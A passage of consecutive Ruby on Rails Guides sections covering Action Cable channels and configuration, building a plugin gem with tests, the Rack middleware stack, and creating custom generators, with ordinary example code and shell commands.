ActionCable.server.broadcast("chat_#{params[:room]}", data)
end
end

# app/assets/javascripts/cable/subscriptions/chat.coffee
App.chatChannel = App.cable.subscriptions.create { channel: "ChatChannel", room: "Best Room" },
received: (data) ->
# data => { sent_by: "Paul", body: "This is a cool chat app." }

App.chatChannel.send({ sent_by: "Paul", body: "This is a cool chat app." })

The rebroadcast will be received by all connected clients, including the client that sent the message. Note that params are the same as they were when you subscribed to the channel.

6 Full-Stack Examples

The following setup steps are common to both examples:

1. Setup your connection.

2. Setup your parent channel.

3. Connect your consumer.

6.1 Example 1: User Appearances

Here's a simple example of a channel that tracks whether a user is online or not and what page they're on. (This is useful for creating presence features like showing a green dot next to a user name if they're online).

Create the server-side appearance channel:

# app/channels/appearance_channel.rb
class AppearanceChannel < ApplicationCable::Channel
def subscribed
current_user.appear
end

def unsubscribed
current_user.disappear
end

def appear(data)
current_user.appear(on: data['appearing_on'])
end

def away
current_user.away
end
end

When a subscription is initiated the subscribed callback gets fired and we take that opportunity to say "the current user has indeed appeared". That appear/disappear API could be backed by Redis, a database, or whatever else.

Create the client-side appearance channel subscription:

# app/assets/javascripts/cable/subscriptions/appearance.coffee
App.cable.subscriptions.create "AppearanceChannel",
# Called when the subscription is ready for use on the server.
connected: ->
@install()
@appear()

# Called when the WebSocket connection is closed.
disconnected: ->
@uninstall()

# Called when the subscription is rejected by the server.
rejected: ->
@uninstall()

appear: ->
# Calls `AppearanceChannel#appear(data)` on the server.
@perform("appear", appearing_on: $("main").data("appearing-on"))

away: ->
# Calls `AppearanceChannel#away` on the server.
@perform("away")

buttonSelector = "[data-behavior~=appear_away]"

install: ->
$(document).on "page:change.appearance", =>
@appear()

$(document).on "click.appearance", buttonSelector, =>
@away()
false

$(buttonSelector).show()

uninstall: ->
$(document).off(".appearance")
$(buttonSelector).hide()

6.1.1 Client-Server Interaction

1. Client connects to the Server via App.cable = ActionCable.createConsumer("ws://cable.example.com"). (cable.js). The Server identifies this connection by current_user.

2. Client subscribes to the appearance channel via App.cable.subscriptions.create(channel: "AppearanceChannel"). (appearance.coffee)

3. Server recognizes a new subscription has been initiated for the appearance channel and runs its subscribed callback, calling the appear method on current_user. (appearance_channel.rb)

4. Client recognizes that a subscription has been established and calls connected (appearance.coffee) which in turn calls @install and @appear. @appear calls AppearanceChannel#appear(data) on the server, and supplies a data hash of { appearing_on: $("main").data("appearing-on") }. This is possible because the server-side channel instance automatically exposes all public methods declared on the class (minus the callbacks), so that these can be reached as remote procedure calls via a subscription's perform method.

5. Server receives the request for the appear action on the appearance channel for the connection identified by current_user (appearance_channel.rb). Server retrieves the data with the :appearing_on key from the data hash and sets it as the value for the :on key being passed to current_user.appear.

6.2 Example 2: Receiving New Web Notifications

The appearance example was all about exposing server functionality to client-side invocation over the WebSocket connection. But the great thing about WebSockets is that it's a two-way street. So now let's show an example where the server invokes an action on the client.

This is a web notification channel that allows you to trigger client-side web notifications when you broadcast to the right streams:

Create the server-side web notifications channel:

# app/channels/web_notifications_channel.rb
class WebNotificationsChannel < ApplicationCable::Channel
def subscribed
stream_for current_user
end
end

Create the client-side web notifications channel subscription:

# app/assets/javascripts/cable/subscriptions/web_notifications.coffee
# Client-side which assumes you've already requested
# the right to send web notifications.
App.cable.subscriptions.create "WebNotificationsChannel",
received: (data) ->
new Notification data["title"], body: data["body"]

Broadcast content to a web notification channel instance from elsewhere in your application:

# Somewhere in your app this is called, perhaps from a NewCommentJob
WebNotificationsChannel.broadcast_to(
current_user,
title: 'New things!',
body: 'All the news fit to print'
)

The WebNotificationsChannel.broadcast_to call places a message in the current subscription adapter's pubsub queue under a separate broadcasting name for each user. For a user with an ID of 1, the broadcasting name would be "web_notifications_1".

The channel has been instructed to stream everything that arrives at "web_notifications_1" directly to the client by invoking the received callback. The data passed as argument is the hash sent as the second parameter to the server-side broadcast call, JSON encoded for the trip across the wire, and unpacked for the data argument arriving to received.

6.3 More Complete Examples

See the rails/actioncable-examples repository for a full example of how to setup Action Cable in a Rails app and adding channels.

7 Configuration

Action Cable has two required configurations: a subscription adapter and allowed request origins.

7.1 Subscription Adapter

By default, Action Cable looks for a configuration file in config/cable.yml. The file must specify an adapter and a URL for each Rails environment. See the Dependencies section for additional information on adapters.

development:
adapter: async

test:
adapter: async

production:
adapter: redis
url: redis://10.10.3.153:6381

7.2 Allowed Request Origins

Action Cable will only accept requests from specified origins, which are passed to the server config as an array. The origins can be instances of strings or regular expressions, against which a check for match will be performed.

config.action_cable.allowed_request_origins = ['http://rubyonrails.com', %r{http://ruby.*}]

To disable and allow requests from any origin:

config.action_cable.disable_request_forgery_protection = true

By default, Action Cable allows all requests from localhost:3000 when running in the development environment.

7.3 Consumer Configuration

To configure the URL, add a call to action_cable_meta_tag in your HTML layout HEAD. This uses a URL or path typically set via config.action_cable.url in the environment configuration files.

7.4 Other Configurations

The other common option to configure is the log tags applied to the per-connection logger. Here's close to what we're using in Basecamp:

config.action_cable.log_tags = [
-> request { request.env['bc.account_id'] || "no-account" },
:action_cable,
-> request { request.uuid }
]

For a full list of all configuration options, see the ActionCable::Server::Configuration class.

Also note that your server must provide at least the same number of database connections as you have workers. The default worker pool size is set to 100, so that means you have to make at least that available. You can change that in config/database.yml through the pool attribute.

8 Running Standalone Cable Servers

8.1 In App

Action Cable can run alongside your Rails application. For example, to listen for WebSocket requests on /websocket, specify that path to config.action_cable.mount_path:

# config/application.rb
class Application < Rails::Application
config.action_cable.mount_path = '/websocket'
end

You can use App.cable = ActionCable.createConsumer() to connect to the cable server if action_cable_meta_tag is invoked in the layout. A custom path is specified as first argument to createConsumer (e.g. App.cable = ActionCable.createConsumer("/websocket")).

For every instance of your server you create and for every worker your server spawns, you will also have a new instance of Action Cable, but the use of Redis keeps messages synced across connections.

8.2 Standalone

The cable servers can be separated from your normal application server. It's still a Rack application, but it is its own Rack application. The recommended basic setup is as follows:

# cable/config.ru
require_relative 'config/environment'
Rails.application.eager_load!

run ActionCable.server

Then you start the server using a binstub in bin/cable ala:

#!/bin/bash
bundle exec puma -p 28080 cable/config.ru

The above will start a cable server on port 28080.

8.3 Notes

The WebSocket server doesn't have access to the session, but it has access to the cookies. This can be used when you need to handle authentication. You can see one way of doing that with Devise in this article.

9 Dependencies

Action Cable provides a subscription adapter interface to process its pubsub internals. By default, asynchronous, inline, PostgreSQL, evented Redis, and non-evented Redis adapters are included. The default adapter in new Rails applications is the asynchronous (async) adapter.

The Ruby side of things is built on top of websocket-driver, nio4r, and concurrent-ruby.

10 Deployment

Action Cable is powered by a combination of WebSockets and threads. Both the framework plumbing and user-specified channel work are handled internally by utilizing Ruby's native thread support. This means you can use all your regular Rails models with no problem, as long as you haven't committed any thread-safety sins.

The Action Cable server implements the Rack socket hijacking API, thereby allowing the use of a multithreaded pattern for managing connections internally, irrespective of whether the application server is multi-threaded or not.

Accordingly, Action Cable works with popular servers like Unicorn, Puma, and Passenger.

The Basics of Creating Rails Plugins —...

1 Setup

Currently, Rails plugins are built as gems, gemified plugins. They can be shared across different rails applications using RubyGems and Bundler if desired.

1.1 Generate a gemified plugin.

Rails ships with a rails plugin new command which creates a skeleton for developing any kind of Rails extension with the ability to run integration tests using a dummy Rails application. Create your plugin with the command:

$ rails plugin new yaffle

See usage and options by asking for help:

$ rails plugin new --help

2 Testing Your Newly Generated Plugin

You can navigate to the directory that contains the plugin, run the bundle install command and run the one generated test using the bin/test command.

You should see:

1 runs, 1 assertions, 0 failures, 0 errors, 0 skips

This will tell you that everything got generated properly and you are ready to start adding functionality.

3 Extending Core Classes

This section will explain how to add a method to String that will be available anywhere in your rails application.

In this example you will add a method to String named to_squawk. To begin, create a new test file with a few assertions:

# yaffle/test/core_ext_test.rb

require 'test_helper'

class CoreExtTest < ActiveSupport::TestCase
def test_to_squawk_prepends_the_word_squawk
assert_equal "squawk! Hello World", "Hello World".to_squawk
end
end

Run bin/test to run the test. This test should fail because we haven't implemented the to_squawk method:

E

Error:
CoreExtTest#test_to_squawk_prepends_the_word_squawk:
NoMethodError: undefined method `to_squawk' for "Hello World":String

bin/test /path/to/yaffle/test/core_ext_test.rb:4

.

Finished in 0.003358s, 595.6483 runs/s, 297.8242 assertions/s.

2 runs, 1 assertions, 0 failures, 1 errors, 0 skips

Great - now you are ready to start development.

In lib/yaffle.rb, add require 'yaffle/core_ext':

# yaffle/lib/yaffle.rb

require 'yaffle/core_ext'

module Yaffle
end

Finally, create the core_ext.rb file and add the to_squawk method:

# yaffle/lib/yaffle/core_ext.rb

String.class_eval do
def to_squawk
"squawk! #{self}".strip
end
end

To test that your method does what it says it does, run the unit tests with bin/test from your plugin directory.

2 runs, 2 assertions, 0 failures, 0 errors, 0 skips

To see this in action, change to the test/dummy directory, fire up a console and start squawking:

$ bin/rails console
>> "Hello World".to_squawk
=> "squawk! Hello World"

4 Add an "acts_as" Method to Active Record

A common pattern in plugins is to add a method called acts_as_something to models. In this case, you want to write a method called acts_as_yaffle that adds a squawk method to your Active Record models.

To begin, set up your files so that you have:

# yaffle/test/acts_as_yaffle_test.rb

require 'test_helper'

class ActsAsYaffleTest < ActiveSupport::TestCase
end

# yaffle/lib/yaffle.rb

require 'yaffle/core_ext'
require 'yaffle/acts_as_yaffle'

module Yaffle
end

# yaffle/lib/yaffle/acts_as_yaffle.rb

module Yaffle
module ActsAsYaffle
# your code will go here
end
end

4.1 Add a Class Method

This plugin will expect that you've added a method to your model named last_squawk. However, the plugin users might have already defined a method on their model named last_squawk that they use for something else. This plugin will allow the name to be changed by adding a class method called yaffle_text_field.

To start out, write a failing test that shows the behavior you'd like:

# yaffle/test/acts_as_yaffle_test.rb

require 'test_helper'

class ActsAsYaffleTest < ActiveSupport::TestCase
def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
assert_equal "last_squawk", Hickwall.yaffle_text_field
end

def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
assert_equal "last_tweet", Wickwall.yaffle_text_field
end
end

When you run bin/test, you should see the following:

# Running:

..E

Error:
ActsAsYaffleTest#test_a_wickwalls_yaffle_text_field_should_be_last_tweet:
NameError: uninitialized constant ActsAsYaffleTest::Wickwall

bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:8

E

Error:
ActsAsYaffleTest#test_a_hickwalls_yaffle_text_field_should_be_last_squawk:
NameError: uninitialized constant ActsAsYaffleTest::Hickwall

bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:4

Finished in 0.004812s, 831.2949 runs/s, 415.6475 assertions/s.

4 runs, 2 assertions, 0 failures, 2 errors, 0 skips

This tells us that we don't have the necessary models (Hickwall and Wickwall) that we are trying to test. We can easily generate these models in our "dummy" Rails application by running the following commands from the test/dummy directory:

$ cd test/dummy
$ bin/rails generate model Hickwall last_squawk:string
$ bin/rails generate model Wickwall last_squawk:string last_tweet:string

Now you can create the necessary database tables in your testing database by navigating to your dummy app and migrating the database. First, run:

$ cd test/dummy
$ bin/rails db:migrate

While you are here, change the Hickwall and Wickwall models so that they know that they are supposed to act like yaffles.

# test/dummy/app/models/hickwall.rb

class Hickwall < ApplicationRecord
acts_as_yaffle
end

# test/dummy/app/models/wickwall.rb

class Wickwall < ApplicationRecord
acts_as_yaffle yaffle_text_field: :last_tweet
end

We will also add code to define the acts_as_yaffle method.

# yaffle/lib/yaffle/acts_as_yaffle.rb

module Yaffle
module ActsAsYaffle
extend ActiveSupport::Concern

included do
end

module ClassMethods
def acts_as_yaffle(options = {})
# your code will go here
end
end
end
end

# test/dummy/app/models/application_record.rb

class ApplicationRecord < ActiveRecord::Base
include Yaffle::ActsAsYaffle

self.abstract_class = true
end

You can then return to the root directory (cd ../..) of your plugin and rerun the tests using bin/test.

# Running:

.E

Error:
ActsAsYaffleTest#test_a_hickwalls_yaffle_text_field_should_be_last_squawk:
NoMethodError: undefined method `yaffle_text_field' for #<Class:0x0055974ebbe9d8>

bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:4

E

Error:
ActsAsYaffleTest#test_a_wickwalls_yaffle_text_field_should_be_last_tweet:
NoMethodError: undefined method `yaffle_text_field' for #<Class:0x0055974eb8cfc8>

bin/test /path/to/yaffle/test/acts_as_yaffle_test.rb:8

.

Finished in 0.008263s, 484.0999 runs/s, 242.0500 assertions/s.

4 runs, 2 assertions, 0 failures, 2 errors, 0 skips

Getting closer... Now we will implement the code of the acts_as_yaffle method to make the tests pass.

# yaffle/lib/yaffle/acts_as_yaffle.rb

module Yaffle
module ActsAsYaffle
extend ActiveSupport::Concern

included do
end

module ClassMethods
def acts_as_yaffle(options = {})
cattr_accessor :yaffle_text_field
self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s
end
end
end
end

# test/dummy/app/models/application_record.rb

class ApplicationRecord < ActiveRecord::Base
include Yaffle::ActsAsYaffle

self.abstract_class = true
end

When you run bin/test, you should see the tests all pass:

4 runs, 4 assertions, 0 failures, 0 errors, 0 skips

4.2 Add an Instance Method

This plugin will add a method named 'squawk' to any Active Record object that calls 'acts_as_yaffle'. The 'squawk' method will simply set the value of one of the fields in the database.

To start out, write a failing test that shows the behavior you'd like:

# yaffle/test/acts_as_yaffle_test.rb
require 'test_helper'

class ActsAsYaffleTest < ActiveSupport::TestCase
def test_a_hickwalls_yaffle_text_field_should_be_last_squawk
assert_equal "last_squawk", Hickwall.yaffle_text_field
end

def test_a_wickwalls_yaffle_text_field_should_be_last_tweet
assert_equal "last_tweet", Wickwall.yaffle_text_field
end

def test_hickwalls_squawk_should_populate_last_squawk
hickwall = Hickwall.new
hickwall.squawk("Hello World")
assert_equal "squawk! Hello World", hickwall.last_squawk
end

def test_wickwalls_squawk_should_populate_last_tweet
wickwall = Wickwall.new
wickwall.squawk("Hello World")
assert_equal "squawk! Hello World", wickwall.last_tweet
end
end

Run the test to make sure the last two tests fail with an error that contains "NoMethodError: undefined method `squawk'", then update 'acts_as_yaffle.rb' to look like this:

# yaffle/lib/yaffle/acts_as_yaffle.rb

module Yaffle
module ActsAsYaffle
extend ActiveSupport::Concern

included do
end

module ClassMethods
def acts_as_yaffle(options = {})
cattr_accessor :yaffle_text_field
self.yaffle_text_field = (options[:yaffle_text_field] || :last_squawk).to_s

include Yaffle::ActsAsYaffle::LocalInstanceMethods
end
end

module LocalInstanceMethods
def squawk(string)
write_attribute(self.class.yaffle_text_field, string.to_squawk)
end
end
end
end

# test/dummy/app/models/application_record.rb

class ApplicationRecord < ActiveRecord::Base
include Yaffle::ActsAsYaffle

self.abstract_class = true
end

Run bin/test one final time and you should see:

6 runs, 6 assertions, 0 failures, 0 errors, 0 skips

The use of write_attribute to write to the field in model is just one example of how a plugin can interact with the model, and will not always be the right method to use. For example, you could also use:

send("#{self.class.yaffle_text_field}=", string.to_squawk)

5 Generators

Generators can be included in your gem simply by creating them in a lib/generators directory of your plugin. More information about the creation of generators can be found in the Generators Guide

6 Publishing Your Gem

Gem plugins currently in development can easily be shared from any Git repository. To share the Yaffle gem with others, simply commit the code to a Git repository (like GitHub) and add a line to the Gemfile of the application in question:

gem 'yaffle', git: 'git://github.com/yaffle_watcher/yaffle.git'

After running bundle install, your gem functionality will be available to the application.

When the gem is ready to be shared as a formal release, it can be published to RubyGems. For more information about publishing gems to RubyGems, see: Creating and Publishing Your First Ruby Gem.

7 RDoc Documentation

Once your plugin is stable and you are ready to deploy, do everyone else a favor and document it! Luckily, writing documentation for your plugin is easy.

The first step is to update the README file with detailed information about how to use your plugin. A few key things to include are:

- Your name

- How to install

- How to add the functionality to the app (several examples of common use cases)

- Warnings, gotchas or tips that might help users and save them time

Once your README is solid, go through and add rdoc comments to all of the methods that developers will use. It's also customary to add '#:nodoc:' comments to those parts of the code that are not included in the public API.

Once your comments are good to go, navigate to your plugin directory and run:

$ bundle exec rake rdoc

7.1 References

- Developing a RubyGem using Bundler

- Using .gemspecs as Intended

- Gemspec Reference

Rails on Rack — Ruby on Rails Guides

1 Introduction to Rack

Rack provides a minimal, modular and adaptable interface for developing web applications in Ruby. By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call.

- Rack API Documentation

Explaining Rack is not really in the scope of this guide. In case you are not familiar with Rack's basics, you should check out the Resources section below.

2 Rails on Rack

2.1 Rails Application's Rack Object

Rails.application is the primary Rack application object of a Rails application. Any Rack compliant web server should be using Rails.application object to serve a Rails application.

2.2 rails server

rails server does the basic job of creating a Rack::Server object and starting the webserver.

Here's how rails server creates an instance of Rack::Server

Rails::Server.new.tap do |server|
require APP_PATH
Dir.chdir(Rails.application.root)
server.start
end

The Rails::Server inherits from Rack::Server and calls the Rack::Server#start method this way:

class Server < ::Rack::Server
def start
...
super
end
end

2.3 rackup

To use rackup instead of Rails' rails server, you can put the following inside config.ru of your Rails application's root directory:

# Rails.root/config.ru
require ::File.expand_path('../config/environment', __FILE__)
run Rails.application

And start the server:

$ rackup config.ru

To find out more about different rackup options:

$ rackup --help

2.4 Development and auto-reloading

Middlewares are loaded once and are not monitored for changes. You will have to restart the server for changes to be reflected in the running application.

3 Action Dispatcher Middleware Stack

Many of Action Dispatcher's internal components are implemented as Rack middlewares. Rails::Application uses ActionDispatch::MiddlewareStack to combine various internal and external middlewares to form a complete Rails Rack application.

ActionDispatch::MiddlewareStack is Rails equivalent of Rack::Builder, but built for better flexibility and more features to meet Rails' requirements.

3.1 Inspecting Middleware Stack

Rails has a handy task for inspecting the middleware stack in use:

$ bin/rails middleware

For a freshly generated Rails application, this might produce something like:

use Rack::Sendfile
use ActionDispatch::Static
use ActionDispatch::Executor
use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x000000029a0838>
use Rack::Runtime
use Rack::MethodOverride
use ActionDispatch::RequestId
use Rails::Rack::Logger
use ActionDispatch::ShowExceptions
use ActionDispatch::DebugExceptions
use ActionDispatch::RemoteIp
use ActionDispatch::Reloader
use ActionDispatch::Callbacks
use ActiveRecord::Migration::CheckPending
use ActiveRecord::ConnectionAdapters::ConnectionManagement
use ActiveRecord::QueryCache
use ActionDispatch::Cookies
use ActionDispatch::Session::CookieStore
use ActionDispatch::Flash
use Rack::Head
use Rack::ConditionalGet
use Rack::ETag
run Rails.application.routes

The default middlewares shown here (and some others) are each summarized in the Internal Middlewares section, below.

3.2 Configuring Middleware Stack

Rails provides a simple configuration interface config.middleware for adding, removing and modifying the middlewares in the middleware stack via application.rb or the environment specific configuration file environments/<environment>.rb.

3.2.1 Adding a Middleware

You can add a new middleware to the middleware stack using any of the following methods:

- config.middleware.use(new_middleware, args) - Adds the new middleware at the bottom of the middleware stack.

- config.middleware.insert_before(existing_middleware, new_middleware, args) - Adds the new middleware before the specified existing middleware in the middleware stack.

- config.middleware.insert_after(existing_middleware, new_middleware, args) - Adds the new middleware after the specified existing middleware in the middleware stack.

# config/application.rb

# Push Rack::BounceFavicon at the bottom
config.middleware.use Rack::BounceFavicon

# Add Lifo::Cache after ActiveRecord::QueryCache.
# Pass { page_cache: false } argument to Lifo::Cache.
config.middleware.insert_after ActiveRecord::QueryCache, Lifo::Cache, page_cache: false

3.2.2 Swapping a Middleware

You can swap an existing middleware in the middleware stack using config.middleware.swap.

# config/application.rb

# Replace ActionDispatch::ShowExceptions with Lifo::ShowExceptions
config.middleware.swap ActionDispatch::ShowExceptions, Lifo::ShowExceptions

3.2.3 Deleting a Middleware

Add the following lines to your application configuration:

# config/application.rb
config.middleware.delete Rack::Runtime

And now if you inspect the middleware stack, you'll find that Rack::Runtime is not a part of it.

$ bin/rails middleware
(in /Users/lifo/Rails/blog)
use ActionDispatch::Static
use #<ActiveSupport::Cache::Strategy::LocalCache::Middleware:0x00000001c304c8>
use Rack::Runtime
...
run Rails.application.routes

If you want to remove session related middleware, do the following:

# config/application.rb
config.middleware.delete ActionDispatch::Cookies
config.middleware.delete ActionDispatch::Session::CookieStore
config.middleware.delete ActionDispatch::Flash

And to remove browser related middleware,

# config/application.rb
config.middleware.delete Rack::MethodOverride

3.3 Internal Middleware Stack

Much of Action Controller's functionality is implemented as Middlewares. The following list explains the purpose of each of them:

Rack::Sendfile

- Sets server specific X-Sendfile header. Configure this via config.action_dispatch.x_sendfile_header option.

ActionDispatch::Static

- Used to serve static files from the public directory. Disabled if config.public_file_server.enabled is false.

Rack::Lock

- Sets env["rack.multithread"] flag to false and wraps the application within a Mutex.

ActionDispatch::Executor

- Used for thread safe code reloading during development.

ActiveSupport::Cache::Strategy::LocalCache::Middleware

- Used for memory caching. This cache is not thread safe.

Rack::Runtime

- Sets an X-Runtime header, containing the time (in seconds) taken to execute the request.

Rack::MethodOverride

- Allows the method to be overridden if params[:_method] is set. This is the middleware which supports the PUT and DELETE HTTP method types.

ActionDispatch::RequestId

- Makes a unique X-Request-Id header available to the response and enables the ActionDispatch::Request#request_id method.

Rails::Rack::Logger

- Notifies the logs that the request has began. After request is complete, flushes all the logs.

ActionDispatch::ShowExceptions

- Rescues any exception returned by the application and calls an exceptions app that will wrap it in a format for the end user.

ActionDispatch::DebugExceptions

- Responsible for logging exceptions and showing a debugging page in case the request is local.

ActionDispatch::RemoteIp

- Checks for IP spoofing attacks.

ActionDispatch::Reloader

- Provides prepare and cleanup callbacks, intended to assist with code reloading during development.

ActionDispatch::Callbacks

- Provides callbacks to be executed before and after dispatching the request.

ActiveRecord::Migration::CheckPending

- Checks pending migrations and raises ActiveRecord::PendingMigrationError if any migrations are pending.

ActiveRecord::ConnectionAdapters::ConnectionManagement

- Cleans active connections after each request, unless the rack.test key in the request environment is set to true.

ActiveRecord::QueryCache

- Enables the Active Record query cache.

ActionDispatch::Cookies

- Sets cookies for the request.

ActionDispatch::Session::CookieStore

- Responsible for storing the session in cookies.

ActionDispatch::Flash

- Sets up the flash keys. Only available if config.action_controller.session_store is set to a value.

Rack::Head

- Converts HEAD requests to GET requests and serves them as so.

Rack::ConditionalGet

- Adds support for "Conditional GET" so that server responds with nothing if page wasn't changed.

Rack::ETag

- Adds ETag header on all String bodies. ETags are used to validate cache.

It's possible to use any of the above middlewares in your custom Rack stack.

4 Resources

4.1 Learning Rack

- Official Rack Website

- Introducing Rack

4.2 Understanding Middlewares

- Railscast on Rack Middlewares

Creating and Customizing Rails...

1 First Contact

When you create an application using the rails command, you are in fact using a Rails generator. After that, you can get a list of all available generators by just invoking rails generate:

$ rails new myapp
$ cd myapp
$ bin/rails generate

You will get a list of all generators that comes with Rails. If you need a detailed description of the helper generator, for example, you can simply do:

$ bin/rails generate helper --help

2 Creating Your First Generator

Since Rails 3.0, generators are built on top of Thor. Thor provides powerful options for parsing and a great API for manipulating files. For instance, let's build a generator that creates an initializer file named initializer.rb inside config/initializers.

The first step is to create a file at lib/generators/initializer_generator.rb with the following content:

class InitializerGenerator < Rails::Generators::Base
def create_initializer_file
create_file "config/initializers/initializer.rb", "# Add initialization content here"
end
end

create_file is a method provided by Thor::Actions. Documentation for create_file and other Thor methods can be found in Thor's documentation

Our new generator is quite simple: it inherits from Rails::Generators::Base and has one method definition. When a generator is invoked, each public method in the generator is executed sequentially in the order that it is defined. Finally, we invoke the create_file method that will create a file at the given destination with the given content. If you are familiar with the Rails Application Templates API, you'll feel right at home with the new generators API.

To invoke our new generator, we just need to do:

$ bin/rails generate initializer

Before we go on, let's see our brand new generator description:

$ bin/rails generate initializer --help

Rails is usually able to generate good descriptions if a generator is namespaced, as ActiveRecord::Generators::ModelGenerator, but not in this particular case. We can solve this problem in two ways. The first one is calling desc inside our generator:

class InitializerGenerator < Rails::Generators::Base
desc "This generator creates an initializer file at config/initializers"
def create_initializer_file
create_file "config/initializers/initializer.rb", "# Add initialization content here"
end
end

Now we can see the new description by invoking --help on the new generator. The second way to add a description is by creating a file named USAGE in the same directory as our generator. We are going to do that in the next step.

3 Creating Generators with Generators

Generators themselves have a generator:

$ bin/rails generate generator initializer
create  lib/generators/initializer
create  lib/generators/initializer/initializer_generator.rb
create  lib/generators/initializer/USAGE
create  lib/generators/initializer/templates

This is the generator just created:

class InitializerGenerator < Rails::Generators::NamedBase
source_root File.expand_path("../templates", __FILE__)
end

First, notice that we are inheriting from Rails::Generators::NamedBase instead of Rails::Generators::Base. This means that our generator expects at least one argument, which will be the name of the initializer, and will be available in our code in the variable name.

We can see that by invoking the description of this new generator (don't forget to delete the old generator file):

$ bin/rails generate initializer --help
Usage:
rails generate initializer NAME [options]

We can also see that our new generator has a class method called source_root. This method points to where our generator templates will be placed, if any, and by default it points to the created directory lib/generators/initializer/templates.

In order to understand what a generator template means, let's create the file lib/generators/initializer/templates/initializer.rb with the following content:

# Add initialization content here

And now let's change the generator to copy this template when invoked:

class InitializerGenerator < Rails::Generators::NamedBase
source_root File.expand_path("../templates", __FILE__)

def copy_initializer_file
copy_file "initializer.rb", "config/initializers/#{file_name}.rb"
end
end

And let's execute our generator:

$ bin/rails generate initializer core_extensions

We can see that now an initializer named core_extensions was created at config/initializers/core_extensions.rb with the contents of our template. That means that copy_file copied a file in our source root to the destination path we gave. The method file_name is automatically created when we inherit from Rails::Generators::NamedBase.

The methods that are available for generators are covered in the final section of this guide.

4 Generators Lookup

When you run rails generate initializer core_extensions Rails requires these files in turn until one is found:

rails/generators/initializer/initializer_generator.rb
generators/initializer/initializer_generator.rb
rails/generators/initializer_generator.rb
generators/initializer_generator.rb

If none is found you get an error message.

The examples above put files under the application's lib because said directory belongs to $LOAD_PATH.

5 Customizing Your Workflow

Rails own generators are flexible enough to let you customize scaffolding. They can be configured in config/application.rb, these are some defaults:

config.generators do |g|
g.orm             :active_record
g.template_engine :erb
g.test_framework  :test_unit, fixture: true
end

Before we customize our workflow, let's first see what our scaffold looks like:

$ bin/rails generate scaffold User name:string
invoke  active_record
create    db/migrate/20130924151154_create_users.rb
create    app/models/user.rb
invoke    test_unit
create      test/models/user_test.rb
create      test/fixtures/users.yml
invoke  resource_route
route    resources :users
invoke  scaffold_controller
create    app/controllers/users_controller.rb
invoke    erb
create      app/views/users
create      app/views/users/index.html.erb
create      app/views/users/edit.html.erb
create      app/views/users/show.html.erb
create      app/views/users/new.html.erb
create      app/views/users/_form.html.erb
invoke    test_unit
create      test/controllers/users_controller_test.rb
invoke    helper
create      app/helpers/users_helper.rb
invoke    jbuilder
create      app/views/users/index.json.jbuilder
create      app/views/users/show.json.jbuilder
invoke  assets
invoke    coffee
create      app/assets/javascripts/users.coffee
invoke    scss
create      app/assets/stylesheets/users.scss
invoke  scss
create    app/assets/stylesheets/scaffolds.scss

Looking at this output, it's easy to understand how generators work in Rails 3.0 and above. The scaffold generator doesn't actually generate anything, it just invokes others to do the work. This allows us to add/replace/remove any of those invocations. For instance, the scaffold generator invokes the scaffold_controller generator, which invokes erb, test_unit and helper generators. Since each generator has a single responsibility, they are easy to reuse, avoiding code duplication.

Our first customization on the workflow will be to stop generating stylesheet, JavaScript and test fixture files for scaffolds. We can achieve that by changing our configuration to the following:

config.generators do |g|
g.orm             :active_record
g.template_engine :erb
g.test_framework  :test_unit, fixture: false
g.stylesheets     false
g.javascripts     false
end

If we generate another resource with the scaffold generator, we can see that stylesheet, JavaScript and fixture files are not created anymore. If you want to customize it further, for example to use DataMapper and RSpec instead of Active Record and TestUnit, it's just a matter of adding their gems to your application and configuring your generators.

To demonstrate this, we are going to create a new helper generator that simply adds some instance variable readers. First, we create a generator within the rails namespace, as this is where rails searches for generators used as hooks:

$ bin/rails generate generator rails/my_helper
create  lib/generators/rails/my_helper
create  lib/generators/rails/my_helper/my_helper_generator.rb
create  lib/generators/rails/my_helper/USAGE
create  lib/generators/rails/my_helper/templates

After that, we can delete both the templates directory and the source_root class method call from our new generator, because we are not going to need them. Add the method below, so our generator looks like the following:

# lib/generators/rails/my_helper/my_helper_generator.rb
class Rails::MyHelperGenerator < Rails::Generators::NamedBase
def create_helper_file
create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
module #{class_name}Helper
attr_reader :#{plural_name}, :#{plural_name.singularize}
end
FILE
end
end

We can try out our new generator by creating a helper for products:

$ bin/rails generate my_helper products
create  app/helpers/products_helper.rb

And it will generate the following helper file in app/helpers:

module ProductsHelper
attr_reader :products, :product
end

Which is what we expected. We can now tell scaffold to use our new helper generator by editing config/application.rb once again:

config.generators do |g|
g.orm             :active_record
g.template_engine :erb
g.test_framework  :test_unit, fixture: false
g.stylesheets     false
g.javascripts     false
g.helper          :my_helper
end

and see it in action when invoking the generator:

$ bin/rails generate scaffold Article body:text
[...]
invoke    my_helper
create      app/helpers/articles_helper.rb

We can notice on the output that our new helper was invoked instead of the Rails default. However one thing is missing, which is tests for our new generator and to do that, we are going to reuse old helpers test generators.

Since Rails 3.0, this is easy to do due to the hooks concept. Our new helper does not need to be focused in one specific test framework, it can simply provide a hook and a test framework just needs to implement this hook in order to be compatible.

To do that, we can change the generator this way:

# lib/generators/rails/my_helper/my_helper_generator.rb
class Rails::MyHelperGenerator < Rails::Generators::NamedBase
def create_helper_file
create_file "app/helpers/#{file_name}_helper.rb", <<-FILE
module #{class_name}Helper
attr_reader :#{plural_name}, :#{plural_name.singularize}
end
FILE
end

hook_for :test_framework
end

Now, when the helper generator is invoked and TestUnit is configured as the test framework, it will try to invoke both Rails::TestUnitGenerator and TestUnit::MyHelperGenerator. Since none of those are defined, we can tell our generator to invoke TestUnit::Generators::HelperGenerator instead, which is defined since it's a Rails generator. To do that, we just need to add:

# Search for :helper instead of :my_helper
hook_for :test_framework, as: :helper

And now you can re-run scaffold for another resource and see it generating tests as well!

6 Customizing Your Workflow by Changing Generators Templates

In the step above we simply wanted to add a line to the generated helper, without adding any extra functionality. There is a simpler way to do that, and it's by replacing the templates of already existing generators, in that case Rails::Generators::HelperGenerator.

